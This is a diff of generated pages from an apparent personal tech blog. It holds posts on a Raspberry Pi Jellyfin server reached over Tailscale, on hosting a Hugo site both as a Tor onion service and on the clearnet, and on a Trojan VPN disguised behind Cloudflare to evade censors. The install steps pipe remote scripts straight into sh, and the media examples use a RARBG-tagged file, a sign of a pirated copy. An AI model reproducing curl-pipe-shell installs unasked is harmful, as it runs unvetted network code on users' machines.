
    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/tailscale/page/1/index.html b/public-clearnet/tags/tailscale/page/1/index.html new file mode 100644 index 0000000..b508176 --- /dev/null +++ b/public-clearnet/tags/tailscale/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/tailscale/ + \ No newline at end of file diff --git a/public-clearnet/tags/tor/index.html b/public-clearnet/tags/tor/index.html new file mode 100644 index 0000000..f22cd3b --- /dev/null +++ b/public-clearnet/tags/tor/index.html @@ -0,0 +1,15 @@ +Tor | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/tor/index.xml b/public-clearnet/tags/tor/index.xml new file mode 100644 index 0000000..888da10 --- /dev/null +++ b/public-clearnet/tags/tor/index.xml @@ -0,0 +1,230 @@ +Tor on AlipourIm journeyshttps://blog.alipour.eu/tags/tor/Recent content in Tor on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/tor/page/1/index.html b/public-clearnet/tags/tor/page/1/index.html new file mode 100644 index 0000000..c80991e --- /dev/null +++ b/public-clearnet/tags/tor/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/tor/ + \ No newline at end of file diff --git a/public-clearnet/tags/trojan/index.html b/public-clearnet/tags/trojan/index.html new file mode 100644 index 0000000..b7b1c44 --- /dev/null +++ b/public-clearnet/tags/trojan/index.html @@ -0,0 +1,15 @@ +Trojan | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/trojan/index.xml b/public-clearnet/tags/trojan/index.xml new file mode 100644 index 0000000..c52c002 --- /dev/null +++ b/public-clearnet/tags/trojan/index.xml @@ -0,0 +1,176 @@ +Trojan on AlipourIm journeyshttps://blog.alipour.eu/tags/trojan/Recent content in Trojan on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
